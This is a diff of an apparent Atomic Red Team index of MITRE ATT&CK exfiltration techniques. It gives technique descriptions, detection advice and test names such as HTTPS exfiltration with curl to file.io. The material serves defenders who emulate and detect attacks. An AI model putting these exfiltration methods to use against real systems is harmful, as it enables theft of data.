+      x_mitre_is_subtechnique: false
+      id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd
+      description: An adversary may exfiltrate data in fixed size chunks instead of
+        whole files or limit packet sizes below certain thresholds. This approach
+        may be used to avoid triggering network data transfer threshold alerts.
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: exfiltration
-      modified: '2020-07-14T19:47:46.912Z'
-      created: '2017-05-31T21:30:34.523Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: true
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). If a process
         maintains a long connection during which it consistently sends fixed size
@@ -74048,10 +76300,11 @@ exfiltration:
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_version: '1.0'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1030
     atomic_tests:
     - name: Data Transfer Size Limits
@@ -74094,15 +76347,41 @@ exfiltration:
         name: sh
   T1048:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Exfiltration Over Alternative Protocol
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1048
+        external_id: T1048
+        source_name: mitre-attack
+      - url: http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
+        description: Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware
+          Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.
+        source_name: Palo Alto OilRig Oct 2016
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.3'
+      modified: '2021-10-15T22:49:28.766Z'
       created: '2017-05-31T21:30:44.720Z'
-      modified: '2020-03-28T00:50:31.548Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: exfiltration
-      type: attack-pattern
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
       id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exfiltration Over Alternative Protocol
       description: "Adversaries may steal data by exfiltrating it over a different
         protocol than that of the existing command and control channel. The data may
         also be sent to an alternate network location from the main command and control
@@ -74112,42 +76391,23 @@ exfiltration:
         storage. Adversaries may also opt to encrypt and/or obfuscate these alternate
         channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)
         can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB
-        or FTP.(Citation: Palo Alto OilRig Oct 2016) "
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1048
-        url: https://attack.mitre.org/techniques/T1048
-      - source_name: Palo Alto OilRig Oct 2016
-        description: Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware
-          Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.
-        url: http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_is_subtechnique: false
+        or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code>
+        may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data
+        from a system.(Citation: 20 macOS Common Tools and Techniques) "
       x_mitre_contributors:
+      - William Cain
       - Alfredo Abarca
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: true
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'File: File Access'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.2'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1048
     atomic_tests:
     - name: Exfiltration Over Alternative Protocol - SSH
@@ -74256,18 +76516,33 @@ exfiltration:
         name: powershell
   T1048.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1048.002
-        url: https://attack.mitre.org/techniques/T1048/002
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1048/002
+        external_id: T1048.002
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T22:44:11.953Z'
+      created: '2020-03-15T15:34:30.767Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5
       description: "Adversaries may steal data by exfiltrating it over an asymmetrically
         encrypted network protocol other than that of the existing command and control
         channel. The data may also be sent to an alternate network location from the
@@ -74281,31 +76556,18 @@ exfiltration:
         (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged.
         Adversaries may opt to use these encrypted mechanisms that are baked into
         a protocol. "
-      id: attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2020-03-28T00:45:51.014Z'
-      created: '2020-03-15T15:34:30.767Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_network_requirements: true
+      x_mitre_contributors:
+      - William Cain
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious.(Citation: University of Birmingham
         C2) '
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'File: File Access'
-      - 'Command: Command Execution'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1048.002
     atomic_tests:
     - name: Exfiltrate data HTTPS using curl windows
@@ -74363,85 +76625,87 @@ exfiltration:
           https://file.io/
   T1011.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1011.001
-        url: https://attack.mitre.org/techniques/T1011/001
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exfiltration Over Bluetooth
-      description: |-
-        Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.
-
-        Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
-      id: attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2020-03-28T00:34:55.439Z'
-      created: '2020-03-09T17:07:57.392Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_detection: |-
-        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.
-
-        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
+      name: Exfiltration Over Bluetooth
       x_mitre_data_sources:
       - 'Network Traffic: Network Connection Creation'
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
       - 'File: File Access'
       - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-28T00:34:55.439Z'
+      created: '2020-03-09T17:07:57.392Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-    atomic_tests: []
-  T1041:
-    technique:
-      created: '2017-05-31T21:30:41.804Z'
-      modified: '2020-03-12T15:59:47.470Z'
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd
+      description: |-
+        Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.
+
+        Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: exfiltration
-      type: attack-pattern
-      id: attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d
+      x_mitre_detection: |-
+        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.
+
+        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1011/001
+        external_id: T1011.001
+        source_name: mitre-attack
+    atomic_tests: []
+  T1041:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Exfiltration Over C2 Channel
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1041
+        external_id: T1041
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.1'
+      modified: '2021-10-15T22:45:50.620Z'
+      created: '2017-05-31T21:30:41.804Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d
       description: Adversaries may steal data by exfiltrating it over an existing
         command and control channel. Stolen data is encoded into the normal communications
         channel using the same protocol as command and control communications.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1041
-        url: https://attack.mitre.org/techniques/T1041
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: true
+      x_mitre_contributors:
+      - William Cain
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'File: File Access'
-      - 'Command: Command Execution'
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: false
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1041
     atomic_tests:
     - name: C2 Data Exfiltration
@@ -74468,37 +76732,14 @@ exfiltration:
         name: powershell
   T1011:
     technique:
-      id: attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exfiltration Over Other Network Medium
-      description: |-
-        Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.
-
-        Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1011
-        external_id: T1011
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2020-03-28T00:35:24.570Z'
-      created: '2017-05-31T21:30:25.159Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: true
-      x_mitre_detection: |-
-        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.
-
-        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
-      x_mitre_contributors:
-      - Itzik Kotler, SafeBreach
+      name: Exfiltration Over Other Network Medium
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1011
+        external_id: T1011
+        source_name: mitre-attack
       x_mitre_data_sources:
       - 'Network Traffic: Network Connection Creation'
       - 'Network Traffic: Network Traffic Flow'
@@ -74506,12 +76747,59 @@ exfiltration:
       - 'File: File Access'
       - 'Command: Command Execution'
       x_mitre_version: '1.1'
+      modified: '2020-03-28T00:35:24.570Z'
+      created: '2017-05-31T21:30:25.159Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87
+      description: |-
+        Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.
+
+        Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network
+      x_mitre_contributors:
+      - Itzik Kotler, SafeBreach
+      x_mitre_detection: |-
+        Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.
+
+        Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1052:
     technique:
-      id: attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Exfiltration Over Physical Medium
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1052
+        external_id: T1052
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Access'
+      - 'Drive: Drive Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      x_mitre_network_requirements: false
+      modified: '2021-10-15T22:48:29.702Z'
+      x_mitre_system_requirements:
+      - Presence of physical medium or device
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549
       description: Adversaries may attempt to exfiltrate data via a physical medium,
         such as a removable drive. In certain circumstances, such as an air-gapped
         network compromise, exfiltration could occur via a physical medium or device
@@ -74519,49 +76807,39 @@ exfiltration:
         cellular phone, MP3 player, or other removable storage and processing device.
         The physical medium or device could be used as the final exfiltration point
         or to hop between otherwise disconnected systems.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1052
-        external_id: T1052
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2020-03-28T00:31:48.713Z'
-      created: '2017-05-31T21:30:46.461Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_system_requirements:
-      - Presence of physical medium or device
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: false
+      x_mitre_contributors:
+      - William Cain
       x_mitre_detection: Monitor file access on removable media. Detect processes
         that execute when removable media are mounted.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Access'
-      - 'Drive: Drive Creation'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.1'
+      created: '2017-05-31T21:30:46.461Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1048.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1048.001
-        url: https://attack.mitre.org/techniques/T1048/001
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1048/001
+        external_id: T1048.001
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-28T00:43:24.228Z'
+      created: '2020-03-15T15:30:42.378Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c
       description: "Adversaries may steal data by exfiltrating it over a symmetrically
         encrypted network protocol other than that of the existing command and control
         channel. The data may also be sent to an alternate network location from the
@@ -74575,16 +76853,9 @@ exfiltration:
         may result in multiple layers of encryption (in protocols that are natively
         encrypted such as HTTPS) or encryption in protocols that not typically encrypted
         (such as HTTP or FTP). "
-      id: attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: exfiltration
-      modified: '2020-03-28T00:43:24.228Z'
-      created: '2020-03-15T15:30:42.378Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_network_requirements: true
       x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
@@ -74593,31 +76864,41 @@ exfiltration:
         by analyzing network traffic or looking for hard-coded values within malware.
         If recovered, these keys can be used to decrypt network data from command
         and control channels. "
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+    atomic_tests: []
+  T1048.003:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1048/003
+        external_id: T1048.003
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       x_mitre_data_sources:
       - 'Network Traffic: Network Connection Creation'
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
       - 'File: File Access'
       - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-    atomic_tests: []
-  T1048.003:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1048.003
-        url: https://attack.mitre.org/techniques/T1048/003
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T22:49:28.421Z'
+      created: '2020-03-15T15:37:47.583Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b
       description: "Adversaries may steal data by exfiltrating it over an un-encrypted
         network protocol other than that of the existing command and control channel.
         The data may also be sent to an alternate network location from the main command
@@ -74626,32 +76907,19 @@ exfiltration:
         (such as HTTP, FTP, or DNS). This may include custom or publicly available
         encoding/compression algorithms (such as base64) as well as embedding data
         within protocol headers and fields. "
-      id: attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2020-03-28T00:50:31.361Z'
-      created: '2020-03-15T15:37:47.583Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_network_requirements: true
+      x_mitre_contributors:
+      - William Cain
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2) '
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'File: File Access'
-      - 'Command: Command Execution'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1048.003
     atomic_tests:
     - name: Exfiltration Over Alternative Protocol - HTTP
@@ -74773,42 +77041,44 @@ exfiltration:
           default: 127.0.0.1
   T1567:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1567
-        url: https://attack.mitre.org/techniques/T1567
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exfiltration Over Web Service
-      description: |-
-        Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.
-
-        Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.
-      id: attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2020-03-28T01:02:24.276Z'
-      created: '2020-03-09T12:51:45.570Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_network_requirements: true
-      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
-        sending significantly more data than it receives from a server). Processes
-        utilizing the network that do not normally have network communication or have
-        never been seen before are suspicious. User behavior monitoring may help to
-        detect abnormal patterns of activity.
+      name: Exfiltration Over Web Service
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1567
+        external_id: T1567
+        source_name: mitre-attack
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Flow'
       - 'Network Traffic: Network Traffic Content'
       - 'File: File Access'
       - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T22:50:29.607Z'
+      created: '2020-03-09T12:51:45.570Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: exfiltration
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807
+      description: |-
+        Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.
+
+        Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.
+      x_mitre_contributors:
+      - William Cain
+      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
+        sending significantly more data than it receives from a server). Processes
+        utilizing the network that do not normally have network communication or have
+        never been seen before are suspicious. User behavior monitoring may help to
+        detect abnormal patterns of activity.
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1567
     atomic_tests:
     - name: Data Exfiltration with ConfigSecurityPolicy
@@ -74825,50 +77095,62 @@ exfiltration:
         name: powershell
   T1052.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1052.001
-        url: https://attack.mitre.org/techniques/T1052/001
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Exfiltration over USB
-      description: Adversaries may attempt to exfiltrate data over a USB connected
-        physical device. In certain circumstances, such as an air-gapped network compromise,
-        exfiltration could occur via a USB device introduced by a user. The USB device
-        could be used as the final exfiltration point or to hop between otherwise
-        disconnected systems.
-      id: attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: exfiltration
-      modified: '2020-03-28T00:31:02.204Z'
-      created: '2020-03-11T13:50:11.467Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Presence of physical medium or device
-      x_mitre_detection: Monitor file access on removable media. Detect processes
-        that execute when removable media are mounted.
+      name: Exfiltration over USB
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1052/001
